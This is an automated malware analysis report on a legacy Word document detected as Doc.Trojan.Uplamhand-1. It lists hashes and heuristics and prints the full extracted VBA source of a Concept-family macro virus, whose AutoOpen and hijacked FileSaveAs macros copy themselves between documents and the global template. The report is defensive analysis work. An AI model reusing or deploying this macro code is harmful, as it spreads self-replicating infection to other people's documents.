Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8f851dfa5341180e…

MALICIOUS

Office (OLE)

36.0 KB Created: 1999-03-17 21:29:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 65c6f16065717d4ab5f2c514e3f5965a SHA-1: 35d4aa60e421b00b14c63997bcffea52262f35e6 SHA-256: 8f851dfa5341180ea958e8ab128c8de0ebdfe440af70efa0e91ede0c9bafc976
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing VBA macros, specifically an AutoOpen macro designed to execute upon opening. The macro attempts to copy itself and other macros ('MSConcept', 'sAevaSeliF') to the global template, which is a common technique for establishing persistence or spreading malware. The ClamAV detection 'Doc.Trojan.Uplamhand-1' further confirms its malicious nature. The specific IOCs are the names of the macros being copied.

Heuristics 4

  • ClamAV: Doc.Trojan.Uplamhand-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Uplamhand-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6451 bytes
SHA-256: e76fe0231b80cc1c6f9a60d7768342d4d625985f5a6ab5a62470a6d61fd506be
Detection
ClamAV: Doc.Trojan.Uplamhand-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "sAevaSeliF"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Saves a copy of the document in a separate file"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.sAevaSeliF.MAIN"
Dim Installed
Dim I
Dim FName$
Dim Macro$
On Error GoTo -1: On Error GoTo ErrorHandler

Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
WordBasic.Dialog.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1

Installed = 0
For I = 1 To WordBasic.CountMacros(1, 0)
If WordBasic.[MacroName$](I, 1, 0) = "MSConcept" Then Installed = 1
Next

If Installed = 0 Then
FName$ = WordBasic.[FileName$]()
Macro$ = FName$ + ":AutoOpen"
WordBasic.MacroCopy "Global:nepOotuA", Macro$
Macro$ = FName$ + ":MSConcept"
WordBasic.MacroCopy "Global:MSConcept", Macro$
Macro$ = FName$ + ":sAevaSeliF"
WordBasic.MacroCopy "Global:FileSaveAs", Macro$
End If

ErrorHandler:
If Err.Number <> 102 Then WordBasic.FileSaveAs dlg
End Sub

Attribute VB_Name = "MSConcept"

Public Sub MAIN()
    Rem Presenting The Microsoft Concept Virus.
    Rem Updated by Pyro [VBB] (Author of Word97.NightShade)
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim Installed
Dim I
Dim FName$
Dim Macro$
On Error GoTo -1: On Error GoTo ErrorHandler

Installed = 0
For I = 1 To WordBasic.CountMacros(0, 0)
If WordBasic.[MacroName$](I, 0, 0) = "MSConcept" Then Installed = 1
Next

If Installed = 0 Then
FName$ = WordBasic.[FileName$]()
Macro$ = FName$ + ":MSConcept"
WordBasic.MacroCopy Macro$, "Global:MSConcept"
Macro$ = FName$ + ":sAevaSeliF"
WordBasic.MacroCopy Macro$, "Global:FileSaveAs"
Macro$ = FName$ + ":AutoOpen"
WordBasic.MacroCopy Macro$, "Global:nepOotuA"
End If

ErrorHandler:
End Sub

' Processing file: /opt/analyzer/scan_staging/7c50eff1a802454c89d4a33200428cf7.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/sAevaSeliF - 2606 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn Installed
' Line #3:
' 	Dim 
' 	VarDefn I
' Line #4:
' 	Dim 
' 	VarDefn FName
' Line #5:
' 	Dim 
' 	VarDefn Macro
' Line #6:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError ErrorHandler 
' Line #7:
' Line #8:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #9:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #10:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd Dialog 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #11:
' 	Ld dlg 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' 	EndIf 
' Line #12:
' Line #13:
' 	LitDI2 0x0000 
' 	St Installed 
' Line #14:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	For 
' Line #15:
' 	Ld I 
' 	LitDI2 0x0001 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0009 "MSConcept"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	St Installed 
' 	EndIf 
' Line #16:
' 	StartForVariable 
' 	Next 
' Line #17:
' Line #18:
' 	Ld Installed 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #19:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St FName$ 
' Line #20:
' 	Ld FName$ 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St Macro$ 
' Line #21:
' 	LitStr 0x000F "Global:nepOotuA"
' 	Ld Macro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #22:
' 	Ld FName$ 
' 	LitStr 0x000A ":MSConcept"
' 	Add 
' 	St Macro$ 
' Line #23:
' 	LitStr 0x0010 "Global:MSConcept"
' 	Ld Macro$ 
' 	Ld WordBas
... (truncated)

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